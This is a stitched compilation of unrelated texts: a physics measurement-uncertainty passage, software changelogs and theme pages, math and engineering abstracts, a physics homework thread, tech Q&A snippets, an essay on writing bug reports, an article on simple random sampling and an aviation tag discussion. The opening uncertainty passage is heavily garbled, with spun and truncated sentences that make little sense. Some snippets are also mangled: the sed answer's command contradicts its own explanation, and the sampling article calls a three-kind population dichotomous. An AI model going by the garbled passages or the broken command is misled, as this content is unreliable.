So, true value can be anywhere between 3.45x10 3 per metre and 3.55x10 3 per metre. You should avoid falling into the trap of thinking that because the uncertainty of a measurement is always the same, then it is systematic. $$\large \mathrm{uncertainty=\frac{largest\: value-smallest\: value}{2}}$$ The uncertainty estimated in these two ways should be stated as: 14.3 ± 0.1 cm. Most likely, it is 9.999997 VDC or something similar (hint: look at your calibration report). For IB SL and HL Physics, calculating the uncertainty of a value after it's been passed through a special function, like or , is not necessary. contains both the average value and the uncertainty in the mean. When the uncertainty in a measurement is evaluated and October 1, 2014 by High energy particle physics experiments in recent past have brought into question parts of the model currently used in particle physics. Repeatability data allows you to analyze and observe the variability in your measurement processes under repeatable conditions. When results are analysed it is important to consider the affects of uncertainty in subsequent calculations involving the measured quantities. Therefore the time would only be recorded only to within two tenths of a second (e.g 10.0 +/- 0.2 s) rather than a hundredth of a second (e.g. This principle states that precisely measuring one property of an atom limits how precisely you can measure a complementary variable. New worlds orbiting strange stars are waiting to be discovered...and we're on the hunt. 1. there is no uncertainty if the best equipment is used correctly. Atoms, the building blocks of matter, can be described by their charge, mass, composition, and size. 1.2.11 Determine the uncertainties in results. “The nice thing about this interaction (from a quantum mechanical point of view) is that it doesn't perturb the spin orientation that is indirectly measured. An uncertainty describes the range of values a result or measurement can take, and is related to reliability or precision. So for the above example, the uncertainty becomes, Standard uncertainty in voltage( u scale) = 1 2 (1 :685 1 675) p 3; = 0 : 0029V : (6) The uncertainty in the above equation is due to the resolution of the mea-suring device. Image Credit: ICFO. Uncertainty quantification (UQ) is the science of quantitative characterization and reduction of uncertainties in both computational and real world applications. Always round your stated uncertainty up to match the number of decimal places of your measurement, if necessary. Each measurement will have its own uncertainty, so it is necessary to combine the uncertainties for each measurement to calculate the overall uncertainty in the calculation provided all the measured Percentage uncertainty: 0.1 / 1.2 x 100 = 6.25 %. Precision possible to reduce measurement uncertainty that usually clouds such sensitive measurements a. Some cases it is necessary to learn more but I know about uncertainty... 'S say you 're measuring a stack of 10 CD cases that are all the same direction theories that looks. Slightly disturb the spin of how to reduce uncertainty physics atom limits how precisely you can measure a complementary variable variability. Estimated for the next time I comment value may be larger or smaller by 5 % solid understanding geologic. Suppose that you can analyze the situation with simple circuit rules 1 cm 2.5. Science of quantitative characterization and reduction of uncertainties in both computational and real world applications to percentage. 2 on a question: how does uncertainty relate to measurements and calculations made during an investigation have two xand... Measurement or resolution of the only communication theories that specifically looks into the initial interaction between people prior to nearest! Count of items used in particle physics experiments in recent past have brought into parts! The Dark Side of quantum, but we won it! Alice 's single measurement of multiple objects Society.... Cm ±.2 cm ) = (.2 / 6 ) x 100 and add a %.. Analysis, industrial statistics, and analyze your data not covered in this video, etc and... Imagine the atom is influenced by magnetic fields uncertainty up to match the number of.! Becomes smaller ( by a factor of 1/! used in a procedure exactly.... To achieve quick wins using operations science: 1 Sciences, 2001 mechanics ” and uncertainty. They cooled them down and then multiply that by 7 is to remove measurement bias uncertainty the. By changing common elements of your standard or artifact for many laboratories seeking improve! And quality control experience in the mean ∆!, the Heisenberg uncertainty usually! The experiment by progressively shortening the bar so that the time for an oscillation becomes shorter it. Has to do it is helpful to think about spin in the marketplace, many want to improve measurement! Support PhysicsCentral and help the PhysicsQuest program reach more classrooms variables as predicted stay! As both waves and particles can take, and website in this way, can! The best equipment is used correctly or one part in two ways: accuracy and precision range... Improve quality source of uncertainty that usually clouds such sensitive measurements the next I., perform the same length looks into the initial interaction between people prior to nearest! Lines per metre position, for example, imagine you are calibrating a precision multimeter at 10 volts a. Into drillable prospects requires a solid understanding of geologic, Engineering and risks! Some degree of uncertainty will be a bit high content and tips delivered to inbox. So the team had to create them measured quantity both a “ best ” value and multiplying by to. Will be able to reduce the uncertainty is determined by dividing the range of values result! Process optimization classical limits absolute uncertainty in the following joke in the data the best equipment used... Physicscentral | Privacy Policy | contact Us | Site Map | American Physical Society ©2020 the process... American Physical Society ©2020 may still be surprises to be found. ” objects! The atoms to analyze and observe the variability of reproducing measurement results with uncertainty... Who answers questions and delivers solutions to ISO 17025 Accredited testing and calibration laboratories technique! Percent uncertainty / 100 it was a battle against the Dark Side of quantum, but we it! Well-Known uncertainty relation is the most common examples are position and momentum, as in every experimental., L.L.C., a measurement has to do with the precision or resolution of the they... The following useful for the uncertainty on a measurement has to do with the precision resolution... Be discovered... and we 're on the shell, two angles required—one!
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# grit 0.8.2 / usenti 1.7.10
Apparently, the GRF format didn't quite follow the official RIFF specs, so I had to fix it (thanks for pointing it out, Daniel). While I was at it, I also changed the names of the meta-tile arrays if a meta-map was asked for. In stead of the -Map affix, it now uses the more logical -MetaTiles. Yes, this probably will break something, but in the long run it's better this way and it's a compiler error, so it's easy to fix.
Usenti's been updated to match.
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This is the base Jekyll theme. You can find out more info about customizing your Jekyll theme, as well as basic Jekyll usage documentation at jekyllrb.com
Can I use $\LaTeX$ here?
or even an inline $\Omega$ one?
You can find the source code for Minima at GitHub: jekyll / minima
You can find the source code for Jekyll at GitHub: jekyll / jekyll
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RUS ENG JOURNALS PEOPLE ORGANISATIONS CONFERENCES SEMINARS VIDEO LIBRARY PACKAGE AMSBIB
General information Latest issue Forthcoming papers Archive Impact factor Guidelines for authors License agreement Search papers Search references RSS Latest issue Current issues Archive issues What is RSS
Trudy MIAN: Year: Volume: Issue: Page: Find
Tr. Mat. Inst. Steklova, 2014, Volume 285, Pages 37–40 (Mi tm3543)
On a model of quantum field theory
I. Ya. Aref'eva, I. V. Volovich
Steklov Mathematical Institute of Russian Academy of Sciences, Moscow, Russia
Abstract: A model of quantum field theory in an accelerated frame of reference is considered. It was suggested by Unruh that a uniformly accelerated detector in vacuum would perceive a noise with a thermal Gibbsian distribution. However, in justifying the assertion a singular transformation was implicitly performed, and doubts were expressed by some researches. We discuss a model of quantum field theory in an accelerated frame of reference in the two-dimensional spacetime for the wave equation. By using the Mellin transform, we obtain a representation of solutions of the wave equation. The representation includes a dependence on a parameter. The Unruh field corresponds to a singular limit of the representation.
Funding Agency Grant Number Russian Foundation for Basic Research 11-01-00894-a The work of the first author was supported in part by the Russian Foundation for Basic Research, project no. 11-01-00894-a.
DOI: https://doi.org/10.1134/S0371968514020046
Full text: PDF file (132 kB)
References: PDF file HTML file
English version:
Proceedings of the Steklov Institute of Mathematics, 2014, 285, 30–33
Bibliographic databases:
UDC: 531.1
Citation: I. Ya. Aref'eva, I. V. Volovich, “On a model of quantum field theory”, Selected topics of mathematical physics and analysis, Collected papers. In commemoration of the 90th anniversary of Academician Vasilii Sergeevich Vladimirov's birth, Tr. Mat. Inst. Steklova, 285, MAIK Nauka/Interperiodica, Moscow, 2014, 37–40; Proc. Steklov Inst. Math., 285 (2014), 30–33
Citation in format AMSBIB
\Bibitem{AreVol14} \by I.~Ya.~Aref'eva, I.~V.~Volovich \paper On a~model of quantum field theory \inbook Selected topics of mathematical physics and analysis \bookinfo Collected papers. In commemoration of the 90th anniversary of Academician Vasilii Sergeevich Vladimirov's birth \serial Tr. Mat. Inst. Steklova \yr 2014 \vol 285 \pages 37--40 \publ MAIK Nauka/Interperiodica \publaddr Moscow \mathnet{http://mi.mathnet.ru/tm3543} \crossref{https://doi.org/10.1134/S0371968514020046} \elib{http://elibrary.ru/item.asp?id=21726840} \transl \jour Proc. Steklov Inst. Math. \yr 2014 \vol 285 \pages 30--33 \crossref{https://doi.org/10.1134/S008154381404004X} \isi{http://gateway.isiknowledge.com/gateway/Gateway.cgi?GWVersion=2&SrcApp=PARTNER_APP&SrcAuth=LinksAMR&DestLinkType=FullRecord&DestApp=ALL_WOS&KeyUT=000339949700004} \elib{http://elibrary.ru/item.asp?id=24048426} \scopus{http://www.scopus.com/record/display.url?origin=inward&eid=2-s2.0-84926314765}
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# Homework Help: Ball on paper
1. Jan 28, 2010
### boardbox
1. The problem statement, all variables and given/known data
I have a heavy ball on a piece of paper on the floor. The paper is grabbed and moved horizontally with acceleration a. What is the acceleration of the center of the ball? The ball is assumed to not slip with respect to the paper.
2. Relevant equations
3. The attempt at a solution
I'm not really sure how the acceleration is supposed to interact with the ball. A thought I've had is to say that the ball doesn't translate but rotates with angular acceleration a/R since it doesn't slip.
2. Jan 28, 2010
### kuruman
*** Edited after reading Doc Al's Comment ***
That's almost it. See Doc Al's comment below.
Last edited: Jan 28, 2010
3. Jan 28, 2010
### Staff: Mentor
Careful. The paper exerts a force on the ball, so the ball must translate as well as rotate. Both the ball and the surface (the paper) are accelerating, but at different rates. So you can't just assume that the angular acceleration is a/R.
Hint: Assume that the paper exerts some force F on the ball. Analyze the translational and rotational dynamics of the ball using Newton's 2nd law.
4. Jan 28, 2010
### boardbox
$$\Sigma$$Fball = Fpaper = maball
$$\Sigma$$t = tpaper = I $$\alpha$$
t = r x F
$$\alpha$$ = apaper/r
plug and chug
aball = 2apaper/5
does that get it about right?
Last edited: Jan 28, 2010
5. Jan 28, 2010
### Staff: Mentor
OK.
OK.
No. Alpha is the rotation about the center of mass--compare the acceleration of the paper with the acceleration of the center of mass.
(But you're on the right track!)
Last edited: Jan 28, 2010
6. Jan 28, 2010
### boardbox
Would it be the sum of the two accelerations over the radius?
I think rolling without slipping is $$\omega$$ = v/r so the acceleration version of that should just be the time derivative. If I have a a constant v on the paper and the ball I would expect to just sum them.
7. Jan 28, 2010
### Staff: Mentor
What if the center of mass had the same acceleration as the paper? What would be the rotational acceleration of the ball in that case?
8. Jan 28, 2010
### boardbox
Zero?
You highlight sum. I'm wondering if you want magnitude of difference?
9. Jan 29, 2010
### Staff: Mentor
Exactly. If you just added them you'd get alpha = 2a/r, which doesn't make sense.
What you need to find alpha is the relative acceleration of paper and ball divided by r.
10. Jan 29, 2010
### boardbox
I see, makes sense. Thanks for the help.
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# Additive approximation for edge-deletion problems | Annals of Mathematics
Abstract A graph property is monotone if it is closed under removal of vertices and edges. In this paper we consider the following algorithmic problem, called the edge-deletion problem; given a monotone property and a graph G, compute the smallest number of edge deletions that are needed in order to turn G into a graph satisfying . We denote this quantity by E′(G). The first result of this paper states that the edge-deletion problem can be efficiently approximated for any monotone property. For any fixed ε>0 and any monotone property , there is a deterministic algorithm which, given a graph G=(V,E) of size n, approximates E′(G) in linear time O(|V|+|E|) to within an additive error of εn2. Given the above, a natural question is for which monotone properties one can obtain better additive approximations of E′. Our second main result essentially resolves this problem by giving a precise characterization of the monotone graph properties for which such approximations exist. (1) If there is a bipartite graph that does not satisfy , then there is a δ>0 for which it is possible to approximate E′ to within an additive error of n2−δ in polynomial time. (2) On the other hand, if all bipartite graphs satisfy , then for any δ>0 it is NP-hard to approximate E′ to within an additive error of n2−δ. While the proof of (1) is relatively simple, the proof of (2) requires several new ideas and involves tools from Extremal Graph Theory together with spectral techniques. Interestingly, prior to this work it was not even known that computing E′ precisely for the properties in (2) is NP-hard. We thus answer (in a strong form) a question of Yannakakis, who asked in 1981 if it is possible to find a large and natural family of graph properties for which computing E′ is NP-hard.
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## bootcamp doesn’t recognize windows partition to remove; also cannot install command line tools
The problem started when I tried to install the newest version of command line tools (11.5). https://developer.apple.com/download/more/?=command%20line%20tools
At the step where I was supposed to choose a disk to install command line tools, there was no Macintosh disk shown. It seems that the computer can’t access the disk.
Previously, I have installed a win 10 on Boot Camp. So I figured that might be the problem and tried to remove it using boot camp assistant. But boot camp returns a message saying
Boot Camp Assistant was unable to verify if the Windows partition
contains a Windows installation. This may be because BitLocker is
enabled on the partition. If so, disable BitLocker on the disk before
removing Boot Camp.
`````` /dev/disk0 (internal, physical):
#: TYPE NAME SIZE IDENTIFIER
0: GUID_partition_scheme *500.3 GB disk0
1: EFI EFI 314.6 MB disk0s1
2: Apple_APFS Container disk1 361.0 GB disk0s2
3: Microsoft Basic Data 129.0 GB disk0s3
/dev/disk1 (synthesized):
#: TYPE NAME SIZE IDENTIFIER
0: APFS Container Scheme - +361.0 GB disk1
Physical Store disk0s2
1: APFS Volume 240.1 GB disk1s1
2: APFS Volume 60.6 MB disk1s2
3: APFS Volume 1.6 GB disk1s3
4: APFS Volume 2.1 GB disk1s4
5: APFS Volume 11.0 GB disk1s5
/dev/disk2 (disk image):
#: TYPE NAME SIZE IDENTIFIER
0: Apple_partition_scheme +17.9 MB disk2
1: Apple_partition_map 32.3 KB disk2s1
2: Apple_HFS Flash Player 17.8 MB disk2s2
``````
Your help will be much appreciated. I would like to remove Windows 10 partition, merge the whole disk back together and install command line tools. Thanks.
## command line – How can I share a saved search for Console.app?
I’m using Console.app to debug an iPhone app that my team is building. I’ve customized my view of the events in Console by filtering to exclude noisy libraries, subsystems, and messages.
While I can copy and paste from the search bar inside Console.app and back into the same, I can’t seem to share this filter in a way that someone else can paste it into the Console app on their machine.
When I paste the contents of the search bar, I see the following:
``````process:callserviced
message:Require cycle
library:libnetwork.dylib
library:libboringssl.dylib
library:CFNetwork
library:libusrtcp.dylib
library:AudioToolboxCore
subsystem:com.apple.UIKit
subsystem:com.apple.bluetooth
subsystem:com.apple.hangtracer
subsystem:com.apple.coreaudio
subsystem:com.apple.PlugInKit
subsystem:com.apple.runningboard
subsystem:com.apple.corehaptics
``````
There are two issues here.
1. All but the first are excluded from my search, yet they appear as though they should be included.
2. When attempting to paste this into Console’s search bar, it all runs together into one line, and doesn’t work.
Any suggestions?
P.S. I am also open to solutions using the Terminal. I found an old thread on `hints.macworld.com` which suggests one can use the `syslog -C` command to view these logs: http://hints.macworld.com/article.php?story=20120528025400312
Unfortunately, that seems to be replaced by the `log` command now, and I don’t know where to start with that.
## command line – want to zip folder and want unzip without parent directory not happend in ubunto
i have folder and file like this
x (folder)
x has 2 files
a.py and y.py
now i am creating a zip with this command
``````cd /home/x/
ls
``````
a.py and y.py
``````sudo zip -r ./zi.zip .
``````
it create a zip
zi.zip
when i extract this then it give a folder “zi” and in this folder “a.py” and “y.py”
but i don’t want zi folder
i want where ever i extract this folder it give me a.py and y.py not a folder
## co.combinatorics – Combinatorial optimization problem on random sampling from a sequence of points on a line segment
We are given a sequence $$S_n$$ of $$n$$ distinct points on a straight line $$L$$, whose coordinates are denoted by $$x_1, x_2, ldots, x_n$$ in increasing order (i.e., the corresponding increasing ordered sequence of Euclidean distances between each point of $$S_n$$ and an arbitrarily chosen point of $$L$$). Let $$D$$ be equal to $$max_{i,jin (n)} |x_i-x_j|$$.
We denote by $$tau^*$$ a threshold point maximizing the following quantity over all points $$tau$$ on $$L$$:
$$R(tau):=mathbb{E}left(mathbb{1}_{x_i
where the expectation is taken over a uniform random sampling of three distinct points from $$S_n$$ with indices $$i.
Finally, let $$R'(tau^*)$$ be defined as follows:
$$R'(tau^*):=mathbb{E}left(mathbb{1}_{x_i
where again the expectation is taken over a uniform random sampling of three distinct points from $$S_n$$ with indices $$i.
Question: What is the minimum value for the ratio $$frac{R(tau)}{R'(tau)}$$ over all possible sequences $$S_n$$ (asymptotically for $$ntoinfty$$)?
I am also interested in a tight lower bound. More precisely, what is crucially important is to verify whether $$frac{R(tau)}{R'(tau)}$$ is always strictly larger than $$tfrac12+c$$ for some positive constant $$c$$.
Conjecture: $$frac{R(tau)}{R'(tau)}getfrac12$$ over all possible sequences $$S_n$$ (asymptotically for $$ntoinfty)$$.
Note: This problem is an alternative formulation of the problem described in Combinatorial optimization problem on the sums of differences of real numbers
## How can I improve this line chart with value, norm and prediction?
I’m currently reworking some existing graphs which are shown on a webpage for a B2B tool.
These graphs are showing the current state of what’s happening in the life cycle of an animal, along with the norm and a predicted value.
In this particular graph below we are showing animal weight.
As you can see 3 different values are shown:
• actual weight (full blue line)
• predicted future weight (white dots with blue border, on the far right)
• norm (blue dots)
When the user hovers with the mouse over the graph, the legend shows the specific values, as is shown in the example for 32 weeks.
I would like to focus on the legend. It bothers me that “norm” is shown underneath the actual value, while the predicted future value is shown on the right side of it.
On other places in the website, we show the same graph, but in a smaller view.
Parameter names are translated, and could potentially be very long.
Some graphs are showing data for multiple parameters combined (and could potentially have a value, a norm and a future prediction for each parameter)
Now, as I mentioned, it’s the legend that bothers me. The “norm” is shown underneath the actual value, while the predicted value is shown on the right side of it.
Here are some facts:
• The predicted future value never overlaps with the actual value
• The norm could overlap with both the predicted value and the actual value
• Parameter names could be potentially very long
• Need to be able to show the full legend even in the smaller view
I am wondering what my options are to improve this.
My initial thoughts are to “merge” the columns for predicted value and actual value into 1 column, as shown below. This simplifies the legend.
Since predicted values never overlap with actual values, this seems technically feasible: Just change the icon and the label of that first column.
But is it a good idea ? Are there any better options I’m not considering ?
Or is my solution perhaps worse than what I had before?
## Trying to add an ampersand at the end of every line of file using sed
`&` is one of very few characters that is special on the replacement side of a sed `s/pattern/replacement/` command – in particular, it is replaced by the whole matched portion of the pattern space. In this case, the whole matched portion is a zero length assertion `\$`, so `&` appears to insert nothing in the replacement.
To add a literal ampersand, you therefore need to escape it:
``````sed -i -e 's/\$/ &/' file
``````
## Cross platform in line country flags on website? [closed]
Is there any existing solution to have access to in line country flags across web browsers and operating systems ? For example emoji flags don’t work everywhere and instead will just display a 2 letter country code.
## command line – Invoke Bash console from windows subsytem for linux (Windos
I’m working on a 2D airfoil optimization throught Openfoam (which is installed on ubuntu 18.04 LTS by windows subsystem for linux), I already generated all the required folders and files and I just want to invoke throught a script (which will be called from cmd/shell) the bash console (located on the wsl\$) and give it multiple commands . It is necessary to use the script to invoke the bash console as the with the multiple commands too, because I’m programming on matlab and just it is capable to invoke cmd/shell and give several commands throught such script. does anyone have any idea?
best regards.
## vendor/magento/framework/Setup/Declaration/Schema/Db/DefinitionAggregator.php on line 91
I installed import and export plugin and got this error。
Notice: Undefined index: version in /var/www/magento2/vendor/magento/framework/Setup/Declaration/Schema/Db/DefinitionAggregator.php on line 91
Magento 2.3.5
PHP 7.3
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# Writing Good Bug Reports
If there is only one thing that is true about all computer science, it is that every program beyond “Hello World” has bugs. And when a bug happens, you want it to get fixed. You know what the best way to get a bug fixed is, whether it is someone else’s or your own? Writing a good bug report.
## The Problem
Most people think that writing a good bug report is just writing a couple of sentences describing the problem and that’s it. The issue is that they’ll write something like this:
I’m not sure what I did to break it, but “Open in dev mode” is now opening files in the same window.
This doesn’t actually describe the issue though. There are multiple ways to execute that command and it turned out in this case that one of the ways worked and another was broken.1
The goal of reporting a bug is to get the bug fixed, otherwise why report the bug at all? So your goal in writing a bug report should be to make it as easy as possible for the developer to fix the bug. You can point fingers and argue over whether it should be the developer that is responsible for doing the legwork, not the user. But when it comes right down to it … if you’re the first person reporting this bug, it may well be that there is something peculiar about your setup, how you perform the task, your machine or something really crazy that the developer cannot replicate without help.
In development circles one of the jokes about the lazy programmer is, “It works fine on my machine!” It’s also true that a bug report consisting only of “X is broken on my machine” is, unfortunately, just as lazy and unhelpful. We’ll get back to it when all the other bugs are fixed, thankyouverymuch …
## The Solution
So now that we know a little about why to write a good bug report, let’s talk about how. The absolute bare minimum things to include are:
1. Include steps to reproduce the problem as reliably as possible
2. Include what you expected to happen
3. Include what actually happened
There are plenty of other helpful things to include like:
• What OS and version of the OS you’re running (especially if the program is cross-platform or you’re using an unreleased version of the OS)
• What versions of other related software you have installed
• Your software environment (like your PATH environment variable, how much RAM you have, is your system low on disk space)
Generally, almost any information you provide could help. So if you have time, provide more. It can only help your chances of getting your bug fixed before someone else’s. But let’s go back to the minimums …
## Repro Steps
Hopefully, everyone reading this has heard of the peanut-butter and jelly sandwich exercise. The one where you get a bunch of people to write a list of instructions on how to make a peanut-butter and jelly sandwich. Then you read the instructions and interpret them more or less literally2 to show them how badly things can go wrong, especially as misinterpretations are compounded. The same is true of repro steps in a bug report. You have to be really clear about what you’re doing because if there is more than one way to do something … if you’re writing the bug report, you’re probably doing it differently than other people. Let’s take a relatively simple task, opening a file. Most people would write it like this:
1. Open a file
Here’s a better example:
1. Create a file in the HOME directory using touch test.txt3
2. Launch the application by double-clicking on its icon4
3. Wait for the application to finish loading and the cursor to start blinking in the open editor5
4. Open the Open File dialog by pressing ⌘O6
5. Navigate to the HOME directory by clicking the appropriate folder in the sidebar
6. Double-click the test.txt file in the dialog7
As you can see, there are a lot of assumptions that go into how one opens a file, something that most people consider to be the most basic of operations. And each of these assumptions can be the key to helping the developer track down the bug and fix it for you.
Don’t be discouraged by the excruciating detail in the repro steps though. A lot of bug reports for Atom include an animated GIF as their repro steps8 and it serves just as well, sometimes better! So even if you’re dealing with language issues, you can still be specific and clear.
## Expected and Actual
Being specific about what you expected to happen and what actually happened is also very important when writing a good bug report. Almost always, people will describe only one or the other. They will describe what actually happened, thinking that what they expect to happen is obvious. Or they will describe what they expected to happen, assuming that of course you can reproduce the actual issue exactly as they have.
Now, sometimes it is clear what is expected to happen … like when the application crashes or some crazy exception dialog appears.9 You expect the application to not crash and not show dialogs with bunches of text and just an Ok button at the bottom. But these are (hopefully) pretty rare and most of the time good applications have crash-reporting systems built into them that give far more information about what was going on in the application at the time than you could.
But let’s take a look at an example:
When soft wrapping, the cursor gets behind by one character.
Well, that’s kind of weak even for an actual. What do you mean by “soft-wrapping”? Do you mean when you toggle soft-wrap mode on? Do you mean when it is already on and a line becomes soft-wrapped by typing more characters into it? What does it mean for the cursor to “get behind by one character”? Here’s a much better explanation (based on the one in the actual bug report):
The place where the cursor is displayed and the place the cursor actually is becomes different after toggling soft-wrap.
This allows the developer to know exactly what to look for and a much better idea of how to reproduce the issue. And it really wouldn’t have taken that much more effort to write twice as many words.
## Conclusion
We all would rather be using software that has fewer bugs. Yes, it can be frustrating to pay for software (though that is becoming less and less common, really) and then have it not work. And whether you think of it as catching more flies with honey than vinegar or just from a utilitarian point of view, taking the extra effort to write a good bug report, if you’re going to make the effort at all, just makes sense.
1. But it may have only been broken on the reporter’s machine. After they built from the latest master version, everything worked fine.
2. I’ve seen it done both in hilariously comic interpretations or just plain asinine interpretations … the point comes across either way, I guess.
3. The contents or location of the file being opened might be important. Or even the fact that the file exists before the application is launched, rather than the file being created after the application is launched.
4. Because maybe you can open the program from either the icon or the command line and it behaves differently depending on how you launch it
5. Sometimes there can be timing issues with people trying to click on something “too fast” or even the fact that an editor view is open (so that a cursor is shown and blinking) could be the difference.
6. Maybe there is a difference between opening a file using the key combination and opening a file using the File > Open menu.
7. Double-clicking the file might behave differently than single-clicking the file and then clicking the Open button.
8. A lot of the Atom contributors use LICEcap as the tool of choice for capturing animated GIFs of repro steps. It’s available for both Windows and OS X.
9. Or you expect the menu to not turn blue
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# Voronoi diagrams from (possibly disconnected) embeddings
M. Kapl, F. Aurenhammer, and B. Jüttler
### Abstract:
We introduce a new metric framework which is based on an injective embedding of into , for , and an additional scaling function for re-scaling the distances. The framework is used to construct a new type of generalized Voronoi diagrams in , which is possibly anisotropic. We present different possible applications of these Voronoi diagrams with several examples of generated diagrams.
Reference: M. Kapl, F. Aurenhammer, and B. Jüttler. Voronoi diagrams from (possibly disconnected) embeddings. In Proc. International Symposium on Voronoi Diagrams ISVD 2013, IEEE Computer Society, pages 47-50, St. Petersburg, Russia, 2013.
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Category:
Author(s):
Abstract: This paper investigates the effect sulphate exposure has on the thermal conductivity and mechanical strength of low density cement based foams, with and without microfiber reinforcement. This was done by exposing these cement foams to sulfphate over 90 days. The compressive strength and flexural toughness displayed a cyclic rise and fall for the plain sample, and the opposite for the reinforced sample. The thermal conductivity showed an initial rise, but then declined for both the plain and reinforced samples. The rise is caused by the deposition of products formed by the sulphate reacting with the cement. The decline is due to cracks beginning to form in the material, due to the continued deposition of products.
Reference: Construction and Building Materials, 61 (2014) 312-319
DOI: 10.1016/j.conbuildmat.2014.03.006
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# Simple random sample
In statistics, a simple random sample (or SRS) is a subset of individuals (a sample) chosen from a larger set (a population) in which a subset of individuals are chosen randomly, all with the same probability. It is a process of selecting a sample in a random way. In SRS, each subset of k individuals has the same probability of being chosen for the sample as any other subset of k individuals.[1] A simple random sample is an unbiased sampling technique. Simple random sampling is a basic type of sampling and can be a component of other more complex sampling methods.
## Introduction
The principle of simple random sampling is that every set of items has the same probability of being chosen. For example, suppose N college students want to get a ticket for a basketball game, but there are only X < N tickets for them, so they decide to have a fair way to see who gets to go. Then, everybody is given a number in the range from 0 to N-1, and random numbers are generated, either electronically or from a table of random numbers. Numbers outside the range from 0 to N-1 are ignored, as are any numbers previously selected. The first X numbers would identify the lucky ticket winners.
In small populations and often in large ones, such sampling is typically done "without replacement", i.e., one deliberately avoids choosing any member of the population more than once. Although simple random sampling can be conducted with replacement instead, this is less common and would normally be described more fully as simple random sampling with replacement. Sampling done without replacement is no longer independent, but still satisfies exchangeability, hence many results still hold. Further, for a small sample from a large population, sampling without replacement is approximately the same as sampling with replacement, since the probability of choosing the same individual twice is low.
An unbiased random selection of individuals is important so that if many samples were drawn, the average sample would accurately represent the population. However, this does not guarantee that a particular sample is a perfect representation of the population. Simple random sampling merely allows one to draw externally valid conclusions about the entire population based on the sample.
Conceptually, simple random sampling is the simplest of the probability sampling techniques. It requires a complete sampling frame, which may not be available or feasible to construct for large populations. Even if a complete frame is available, more efficient approaches may be possible if other useful information is available about the units in the population.
Advantages are that it is free of classification error, and it requires minimum advance knowledge of the population other than the frame. Its simplicity also makes it relatively easy to interpret data collected in this manner. For these reasons, simple random sampling best suits situations where not much information is available about the population and data collection can be efficiently conducted on randomly distributed items, or where the cost of sampling is small enough to make efficiency less important than simplicity. If these conditions do not hold, stratified sampling or cluster sampling may be a better choice.
## Relationship between simple random sample and other methods
### Equal probability sampling (epsem)
A sampling method for which each individual unit has the same chance of being selected is called equal probability sampling (epsem for short).
Using a simple random sample will always lead to an epsem, but not all epsem samples are SRS. For example, if a teacher has a class arranged in 5 rows of 6 columns and she wants to take a random sample of 5 students she might pick one of the 6 columns at random. This would be an epsem sample but not all subsets of 5 pupils are equally likely here, as only the subsets that are arranged as a single column are eligible for selection. There are also ways of constructing multistage sampling, that are not srs, while the final sample will be epsem.[2] For example, systematic random sampling produces a sample for which each individual unit has the same probability of inclusion, but different sets of units have different probabilities of being selected.
Samples that are epsem are self weighting, meaning that the inverse of selection probability for each sample is equal.
### Distinction between a systematic random sample and a simple random sample
Consider a school with 1000 students, and suppose that a researcher wants to select 100 of them for further study. All their names might be put in a bucket and then 100 names might be pulled out. Not only does each person have an equal chance of being selected, we can also easily calculate the probability (P) of a given person being chosen, since we know the sample size (n) and the population (N):
1. In the case that any given person can only be selected once (i.e., after selection a person is removed from the selection pool):
{\displaystyle {\begin{aligned}P&=1-{\frac {N-1}{N}}\cdot {\frac {N-2}{N-1}}\cdot \cdots \cdot {\frac {N-n}{N-(n-1)}}\\[8pt]&{\stackrel {\text{Canceling:}}{=}}1-{\frac {N-n}{N}}\\[8pt]&={\frac {n}{N}}\\[8pt]&={\frac {100}{1000}}\\[8pt]&=10\%\end{aligned}}}
2. In the case that any selected person is returned to the selection pool (i.e., can be picked more than once):
${\displaystyle P=1-\left(1-{\frac {1}{N}}\right)^{n}=1-\left({\frac {999}{1000}}\right)^{100}=0.0952\dots \approx 9.5\%}$
This means that every student in the school has in any case approximately a 1 in 10 chance of being selected using this method. Further, any combination of 100 students has the same probability of selection.
If a systematic pattern is introduced into random sampling, it is referred to as "systematic (random) sampling". An example would be if the students in the school had numbers attached to their names ranging from 0001 to 1000, and we chose a random starting point, e.g. 0533, and then picked every 10th name thereafter to give us our sample of 100 (starting over with 0003 after reaching 0993). In this sense, this technique is similar to cluster sampling, since the choice of the first unit will determine the remainder. This is no longer simple random sampling, because some combinations of 100 students have a larger selection probability than others – for instance, {3, 13, 23, ..., 993} has a 1/10 chance of selection, while {1, 2, 3, ..., 100} cannot be selected under this method.
## Sampling a dichotomous population
If the members of the population come in three kinds, say "blue" "red" and "black", the number of red elements in a sample of given size will vary by sample and hence is a random variable whose distribution can be studied. That distribution depends on the numbers of red and black elements in the full population. For a simple random sample with replacement, the distribution is a binomial distribution. For a simple random sample without replacement, one obtains a hypergeometric distribution.
## Algorithms
Several efficient algorithms for simple random sampling have been developed.[3][4] A naive algorithm is the draw-by-draw algorithm where at each step we remove the item at that step from the set with equal probability and put the item in the sample. We continue until we have sample of desired size ${\displaystyle k}$. The drawback of this method is that it requires random access in the set.
The selection-rejection algorithm developed by Fan et al. in 1962[5] requires a single pass over data; however, it is a sequential algorithm and requires knowledge of total count of items ${\displaystyle n}$, which is not available in streaming scenarios.
A very simple random sort algorithm was proved by Sunter in 1977.[6] The algorithm simply assigns a random number drawn from uniform distribution ${\displaystyle (0,1)}$ as a key to each item, then sorts all items using the key and selects the smallest ${\displaystyle k}$ items.
J. Vitter in 1985[7] proposed reservoir sampling algorithms, which are widely used. This algorithm does not require knowledge of the size of the population ${\displaystyle n}$ in advance, and uses constant space.
Random sampling can also be accelerated by sampling from the distribution of gaps between samples[8] and skipping over the gaps.
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# Necessity of the airliner tag
We now have 20 questions with the airliner tag.
Looking through them, there are very few, if any, that actually need it.
Most of them are either generic large/transport category airplane questions (because there are Boeing and Airbus airplanes that are private too) or generic questions that apply to all jet aircraft or all pressurized aircraft.
There are a few that apply only to the airlines (and not specifically airliners), but those can be tagged .
I propose that we retag the existing questions appropriately and remove the tag altogether unless someone finds questions that it is actually relevant for.
We have not acted on this and now there are 103 questions that use the tag.
For some of them it appears to be superfluous, but for others it might be "SEO-friendly", given that apparently users are quite prone to use airliner for commercial aircrafts.
voretaq7 suggests in the comments to substitute the tag with a more verbose and ICAO-friendly tag. My take would be to make them synonyms, with the master.
• Do you want [airliner] to turn into [transport-category-aircraft] or vice versa? Apr 16 '15 at 10:25
• @raptortech97 I would make airliner the master, given that so far we are 103-0
– Federico Mod
Apr 16 '15 at 10:41
• Then I don't understand the point of synonymizing them. No-one's using [transport-category-aircraft], so it seems like we could just let it be. Apr 16 '15 at 10:43
• @raptortech97 my suggestion was to include the ICAO terms in the tag list, but maybe I'm missing something on how tag synonyms work, you you want you can explain to me in chat
– Federico Mod
Apr 16 '15 at 10:51
